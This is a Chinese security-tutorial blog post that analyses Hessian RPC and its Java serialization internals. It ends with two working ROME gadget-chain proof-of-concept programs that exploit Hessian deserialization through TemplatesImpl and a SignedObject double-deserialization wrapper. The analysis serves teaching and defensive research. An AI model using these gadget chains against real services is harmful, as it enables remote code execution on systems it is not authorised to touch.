JavaSec | Hessian 学习分析

admin 2025年1月21日22:54:43评论3 views字数 13051阅读43分30秒阅读模式

扫码领资料

获网安教程

JavaSec | Hessian 学习分析

JavaSec | Hessian 学习分析

本文由掌控安全学院 - yusi 投稿

Track安全社区投稿~  

千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

Hessian 介绍

hessian 是个轻量级的远程 http 工具,采用binaray Rpc协议,适合发送二进制数据,同时具有防火墙穿透功能,hessian 一般通过 web 应用来提供服务。一句话说就是Hessian是一个基于http的二进制rpc轻量级工具。

什么是 RPC 呢?Remote Procedure Call Protocol,远程过程调用,RPC它以标准的二进制格式来定义请求的信息(请求对象、方法、参数等),这种方法传输信息的优点之一就是跨语言及操作系统。

在面向对象编程范式下,RMI其实就是RPC的一种具体实现,PRC协议的一次远程通信过程:

1.客户端发起请求,并且按照RPC协议格式填充信息
2.填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
3.服务端接收到流后,将其转换为二进制格式文件,并且按照RPC协议格式获取请求的信息并进行处理
4.处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回

远程调用示例

基于Servlet项目
先创建个一个提供服务的 api 接口,也就是接口类
package org.example;publicinterfaceGreeting{String sayHello();}
然后需要创建服务端,这里通过继承 com.caucho.hessian.server.HessianServlet 类来把服务端注册为 servlet 进行服务交互。需要在 WEB-INF 中创建 lib 目录,然后在 lib 中引入依赖。
import com.caucho.hessian.server.HessianServlet;publicclassServerextendsHessianServletimplementsGreeting{@OverridepublicString sayHello(){return"gaorenyusi";}}
然后配置 web.xml ,为服务端设置映射,映射后访问路径 /gaoren 就会触发 servlet 服务
<?xml version="1.0" encoding="UTF-8"?><web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"><servlet><servlet-name>hesian</servlet-name><servlet-class>Server</servlet-class></servlet><servlet-mapping><servlet-name>hesian</servlet-name><url-pattern>/gaoren</url-pattern></servlet-mapping></web-app>
启动一下,访问:
JavaSec | Hessian 学习分析

img
然后写个客户端进行调用,
package org.example;import com.caucho.hessian.client.HessianProxyFactory;publicclassMain{publicstaticvoid main(String[] args)throwsException{String url ="http://localhost:8088/test/gaoren";HessianProxyFactory hessianProxyFactory =newHessianProxyFactory();Greeting hello =(Greeting) hessianProxyFactory.create(Greeting.class, url);System.out.println(hello.sayHello());}}
通过 com.caucho.hessian.client.HessianProxyFactory 工厂类创建对接口的代理对象来进行调用,
JavaSec | Hessian 学习分析

img

远程调用源码分析

客户端处理

HessianProxyFactory hessianProxyFactory =newHessianProxyFactory();
工厂类的实例化,主要是初始化类加载器已经相应的 resovler 对象, resovler 对象就是设置好相应的代理工厂。
JavaSec | Hessian 学习分析

img
接着调用 create 方法创建接口代理类,
JavaSec | Hessian 学习分析

img
实例化了 HessianProxy 对象,该类实现了 InvocationHandler 接口,然后返回一个代理对象。最后调用代理对象的方法,
System.out.println(hello.sayHello());
这样就会调用到 HessianProxy.invoke 方法
JavaSec | Hessian 学习分析

img
然后对方法进行一些处理比较,最后把方法信息放入 _mangleMap
JavaSec | Hessian 学习分析

img

sendRequest 方法

然后紧接着就调用 sendRequest 方法
JavaSec | Hessian 学习分析

img
跟进,首先通过 getConnectionFactory() 方法获得了负责连接的工厂类,然后调用这个类的 open 方法,
JavaSec | Hessian 学习分析

img
这个 open 方法是向指定的 URL 发送请求。
JavaSec | Hessian 学习分析

img
最后这个成功连接的URLConnection对象会被封装进HessianURLConnection对象中作为返回
JavaSec | Hessian 学习分析

img
然后回到 invoke 方法中,又调用了 addRequestHeaders 方法,该方法就是添加 header 头,
JavaSec | Hessian 学习分析

img
然后接着 call 方法将方法调用的信息写入流中,
JavaSec | Hessian 学习分析

img
最后调用 conn.sendRequest(); 发起请求,服务端从信息流中获得调用方法,最后进行远程调用并返回调用结果。
继续回到 invoke 方法,获取返回的 HessianURLConnection 对象的 input 流,
JavaSec | Hessian 学习分析

img

readReply 方法

然后通过 readReply 方法来获得返回的结果,
JavaSec | Hessian 学习分析

img
跟进发现这里面调用了 readobject 方法,
JavaSec | Hessian 学习分析

img
继续跟进,看到在最后存在反序列化。
JavaSec | Hessian 学习分析

img
进入其中,根据返回类型来分别调用不同方法
JavaSec | Hessian 学习分析

img
最后返回结果。

服务端处理

com.caucho.hessian.server.HessianServlet 类是 javax.servlet.http.HttpServlet 的一个子类,其 service 方法是相关出处理起始位置,跟进 service 方法
JavaSec | Hessian 学习分析

img
看到会先判断是不是 POST 方法,如果满足条件会继续下面操作。这里会调用 HessianSkeleton#invoke 方法,
JavaSec | Hessian 学习分析

img
跟进,会根据获得 header 来选择混用模式,
JavaSec | Hessian 学习分析

img
然后调用到 invoke 方法,
JavaSec | Hessian 学习分析

img
在这里面会先反射调用接受到的要调用的方法
JavaSec | Hessian 学习分析

img
然后返回执行结果,最后会执行 writeReply 方法把返回结果进行序列化写入输出流中。
JavaSec | Hessian 学习分析

img
JavaSec | Hessian 学习分析

img
JavaSec | Hessian 学习分析

img

封装调用

除了结合 servlet 进行 web 远程调用外,还可以直接把关键序列化反序列化类提取出来进行封装,同样可以实现 hessian 的序列化和反序列化。
写个简单的 javabean 类
package org.example;import java.io.Serializable;publicclassPersonimplementsSerializable{privateString name;privateint age;privateString telNumber;publicPerson(){}publicPerson(String name,int age,String telNumber){this.name = name;this.age = age;this.telNumber = telNumber;}publicString getName(){return name;}publicvoid setName(String name){this.name = name;}publicint getAge(){return age;}publicvoid setAge(int age){this.age = age;}publicString getTelNumber(){return telNumber;}publicvoid setTelNumber(String telNumber){this.telNumber = telNumber;}}
然后进行序列化反序列化
package org.example;import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.util.Base64;publicclass hessian_test {publicstaticvoid main(String[] args)throwsIOException{Person person =newPerson("gaoren",100,"123");ByteArrayOutputStream byteArrayOutputStream =newByteArrayOutputStream();HessianOutput hessianOutput =newHessianOutput(byteArrayOutputStream); hessianOutput.writeObject(person);System.out.println(newString(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));ByteArrayInputStream byteArrayInputStream =newByteArrayInputStream(byteArrayOutputStream.toByteArray());HessianInput hessianInput =newHessianInput(byteArrayInputStream);System.out.println(hessianInput.readObject());}}

Hessian 反序列化

Hessian1.0 源码分析

序列化

跟进 hessianOutput.writeObject,如果 serializer 对象为 null,会调用 _serializerFactory.getSerializer 来获取 serializer 对象
JavaSec | Hessian 学习分析

img
简单跟进看看,会先看 _cachedSerializerMap 是否为 null,如果为 null 就调用 loadSerializer 来进行获取 serializer 对象,然后把 serializer 对象加进 Map 缓存也就是 _cachedSerializerMap 中,
JavaSec | Hessian 学习分析

img
继续看看 loadSerializer 方法,调用 _contextFactory.getSerializer 方法,如果 serializer 还是 null 的话继续调用factory.getCustomSerializer
JavaSec | Hessian 学习分析

img
JavaSec | Hessian 学习分析

img
如果还是为 null,就会对 class 进行类型判断返回相应的 serializer 对象
if(HessianRemoteObject.class.isAssignableFrom(cl)){returnnewRemoteSerializer();}elseif(BurlapRemoteObject.class.isAssignableFrom(cl)){returnnewRemoteSerializer();}elseif(InetAddress.class.isAssignableFrom(cl)){returnInetAddressSerializer.create();}elseif(JavaSerializer.getWriteReplace(cl)!=null){Serializer baseSerializer = getDefaultSerializer(cl);returnnewWriteReplaceSerializer(cl, getClassLoader(), baseSerializer);}elseif(Map.class.isAssignableFrom(cl)){if(_mapSerializer ==null) _mapSerializer =newMapSerializer();return _mapSerializer;}elseif(Collection.class.isAssignableFrom(cl)){if(_collectionSerializer ==null){ _collectionSerializer =newCollectionSerializer();}return _collectionSerializer;}elseif(cl.isArray())returnnewArraySerializer();elseif(Throwable.class.isAssignableFrom(cl))returnnewThrowableSerializer(cl, getClassLoader());elseif(InputStream.class.isAssignableFrom(cl))returnnewInputStreamSerializer();elseif(Iterator.class.isAssignableFrom(cl))returnIteratorSerializer.create();elseif(Calendar.class.isAssignableFrom(cl))returnCalendarSerializer.SER;elseif(Enumeration.class.isAssignableFrom(cl))returnEnumerationSerializer.create();elseif(Enum.class.isAssignableFrom(cl))returnnewEnumSerializer(cl);elseif(Annotation.class.isAssignableFrom(cl))returnnewAnnotationSerializer(cl);return getDefaultSerializer(cl);}
对于自定义的对象就会走到 getDefaultSerializer 方法,
JavaSec | Hessian 学习分析

img
会先判断是否继承了 Serializable 接口以及 _isAllowNonSerializable 是否为 true,如果不满足条件就会抛出异常。满足后就会 UnsafeSerializer.create 方法,
JavaSec | Hessian 学习分析

img
跟进 UnsafeSerializer(cl)
JavaSec | Hessian 学习分析

img
在 introspect 中就是将对象属性进行一个封装。
JavaSec | Hessian 学习分析

img
最后添加进 _serializerMap 中
JavaSec | Hessian 学习分析

img
最后回到 writeObject 方法,调用 serializer.writeObject 进行序列化。
JavaSec | Hessian 学习分析

img
一路跟进,调用到了 writeMapBegin 方法,将 M 设置为标识位,
JavaSec | Hessian 学习分析

img
最后调用 writeObject10 将对象属性写入字节流。

反序列化

同样先跟进 hessianInput.readObject() 方法,通过不同的标识位来选择
JavaSec | Hessian 学习分析

img
这里是 M ,继续跟进
JavaSec | Hessian 学习分析

img
调用了 getDeserializer 方法来获得 deserializer 对象,
JavaSec | Hessian 学习分析

img
还是会先看 Map 缓存中有没有,
JavaSec | Hessian 学习分析

img
没有继续调用 getDeserializer 方法
JavaSec | Hessian 学习分析

img
而在 getDeserializer 方法中又调用了 loadDeserializer 方法
JavaSec | Hessian 学习分析

img
这里就和序列化逻辑非常相似,先后调用 _contextFactory.getDeserializer 和 factory.getCustomDeserializer 两个方法来获得 deserializer 对象,如果还是为 null,那么就会对 cl 对象进行类型判断,返回相应的 deserializer 对象,自定义对象默认调用 getDefaultDeserializer 方法,
if(Collection.class.isAssignableFrom(cl)) deserializer =newCollectionDeserializer(cl);elseif(Map.class.isAssignableFrom(cl)){ deserializer =newMapDeserializer(cl);}elseif(Iterator.class.isAssignableFrom(cl)){ deserializer =IteratorDeserializer.create();}elseif(Annotation.class.isAssignableFrom(cl)){ deserializer =newAnnotationDeserializer(cl);}elseif(cl.isInterface()){ deserializer =newObjectDeserializer(cl);}elseif(cl.isArray()){ deserializer =newArrayDeserializer(cl.getComponentType());}elseif(Enumeration.class.isAssignableFrom(cl)){ deserializer =EnumerationDeserializer.create();}elseif(Enum.class.isAssignableFrom(cl)) deserializer =newEnumDeserializer(cl);elseif(Class.class.equals(cl)) deserializer =newClassDeserializer(getClassLoader());else deserializer = getDefaultDeserializer(cl);return deserializer;}
在这里又会返回 UnsafeDeserializer 对象,
JavaSec | Hessian 学习分析

img
回到 readMap,继续调用 UnsafeDeserializer.readMap 方法
JavaSec | Hessian 学习分析

img
会调用到 allocateInstance 方法,该方法是还原对象
JavaSec | Hessian 学习分析

img
还原了对象后,继续调用 readMap 还原属性
JavaSec | Hessian 学习分析

img
其中调用 _unsafe.putObject 进行赋值,
JavaSec | Hessian 学习分析

img
最后返回resolve
JavaSec | Hessian 学习分析

img

Hessian2.0源码分析

序列化

需要把上面代码中的 HessianOutput/HessianInput 换为 Hessian2Ouput/Hessian2Input 这两个类。
还是跟进 hessian2Output.writeObject 方法,然后跟进 getSerializer 方法,其实逻辑差不多,最后还是返回个 UnsafeSerializer 对象,
JavaSec | Hessian 学习分析

img
继续跟进 UnsafeSerializer.writeObject 方法,
JavaSec | Hessian 学习分析

img
同样会调用到 writeObjectBegin 方法,只不过不会继续调用 writeMapBegin 方法了,这里会把 C 作为标识位
JavaSec | Hessian 学习分析

img
JavaSec | Hessian 学习分析

img
然后继续调用 writeString 方法序列化对象,调用 writeDefinition20 序列化属性。

反序列化

跟进 hessian2Input.readObject(),调用 readObjectDefinition 方法,
JavaSec | Hessian 学习分析

img
又是getObjectDeserializer
JavaSec | Hessian 学习分析

img
还是一路跟踪,来到 getDefaultDeserializer 方法,
JavaSec | Hessian 学习分析

img
最后就是返回一个 UnsafeDeserializer 还原对象,
JavaSec | Hessian 学习分析

img
剩下的其实就是上面一样的属性还原了。

Hessian 反序列化漏洞

这里的漏洞关键其实在 MapDeserializer#readMap 中
JavaSec | Hessian 学习分析

img
首先会创建一个Map对象,然后将 key 和 value 分别反序列化put进map中,而 HashMap#put 中可以触发到 key#hashcode

ROME 链

常用的 rome 链就是可以通过 hashcode 进行触发,简单更改 poc 得到,
package org.example;import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.io.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.lang.reflect.Field;publicclass rometest {publicstaticvoid main(String[] args)throwsException{TemplatesImpl tem =newTemplatesImpl();byte[] code =Files.readAllBytes(Paths.get("D:/gaoren.class")); setValue(tem,"_bytecodes",newbyte[][]{code});// setValue(tem, "_tfactory", new TransformerFactoryImpl()); setValue(tem,"_name","gaoren"); setValue(tem,"_class",null);ToStringBean tobean =newToStringBean(Templates.class,newHashMap<>());ObjectBean bean =newObjectBean(ToStringBean.class,tobean);HashMap<Object,Object> hashmap =newHashMap<>(); hashmap.put(bean,"gaoren");Field v = tobean.getClass().getDeclaredField("_obj"); v.setAccessible(true); v.set(tobean, tem); deserilize(serilize(hashmap));}publicstaticbyte[] serilize(Object o)throwsIOException{ByteArrayOutputStream byteArrayOutputStream =newByteArrayOutputStream();HessianOutput hessianOutput =newHessianOutput(byteArrayOutputStream); hessianOutput.writeObject(o);return byteArrayOutputStream.toByteArray();}publicstaticObject deserilize(byte[] bytes)throwsIOException{ByteArrayInputStream byteArrayInputStream =newByteArrayInputStream(bytes);HessianInput hessianInput =newHessianInput(byteArrayInputStream);return hessianInput.readObject();}publicstaticvoid setValue(Object obj,String fieldName,Object value)throwsException{Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value);}}
但是运行报错
JavaSec | Hessian 学习分析

img
原因在 TemplatesImpl 中的 _tfactory 是一个 transient,无法参与序列化与反序列化,所以为 null,导致最后调用 TransletClassLoader 类实例化时报错,
JavaSec | Hessian 学习分析

img
因为在 TemplatesImpl 的 readobject 方法中会给 _tfactory 赋值,所以这里可以打二次反序列化,
package org.example;import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.io.*;import java.nio.file.Files;import java.nio.file.Paths;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.HashMap;import java.lang.reflect.Field;publicclass rometest {publicstaticvoid main(String[] args)throwsException{TemplatesImpl tem =newTemplatesImpl();byte[] code =Files.readAllBytes(Paths.get("D:/gaoren.class")); setValue(tem,"_bytecodes",newbyte[][]{code}); setValue(tem,"_name","gaoren"); setValue(tem,"_class",null);ToStringBean tobean =newToStringBean(Templates.class,tem);ObjectBean bean =newObjectBean(ToStringBean.class,tobean);HashMap<Object,Object> hashmap1 =newHashMap<>(); hashmap1.put(bean,"gaoren");KeyPairGenerator kpg =KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject =newSignedObject(hashmap1, kp.getPrivate(),Signature.getInstance("DSA"));ToStringBean tobean2 =newToStringBean(SignedObject.class,newHashMap<>());ObjectBean objectBean =newObjectBean(ToStringBean.class,tobean2);HashMap hashmap2 =newHashMap(); hashmap2.put(objectBean,"gaoren");Field v = tobean2.getClass().getDeclaredField("_obj"); v.setAccessible(true); v.set(tobean2, signedObject); deserilize(serilize(hashmap2));}publicstaticbyte[] serilize(Object o)throwsIOException{ByteArrayOutputStream byteArrayOutputStream =newByteArrayOutputStream();HessianOutput hessianOutput =newHessianOutput(byteArrayOutputStream); hessianOutput.writeObject(o);return byteArrayOutputStream.toByteArray();}publicstaticObject deserilize(byte[] bytes)throwsIOException{ByteArrayInputStream byteArrayInputStream =newByteArrayInputStream(bytes);HessianInput hessianInput =newHessianInput(byteArrayInputStream);return hessianInput.readObject();}publicstaticvoid setValue(Object obj,String fieldName,Object value)throwsException{Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value);}}
JavaSec | Hessian 学习分析

img
参考1:https://goodapple.top/archives/1193
参考2:https://nivi4.notion.site/Hessian-8263f6e97254463a938a18e9c2ebdde0#786ce2b58aff4ed1b1c088da3e210a3e

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

JavaSec | Hessian 学习分析

原文始发于微信公众号(掌控安全EDU):JavaSec | Hessian 学习分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月21日22:54:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JavaSec | Hessian 学习分析https://cn-sec.com/archives/3655290.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息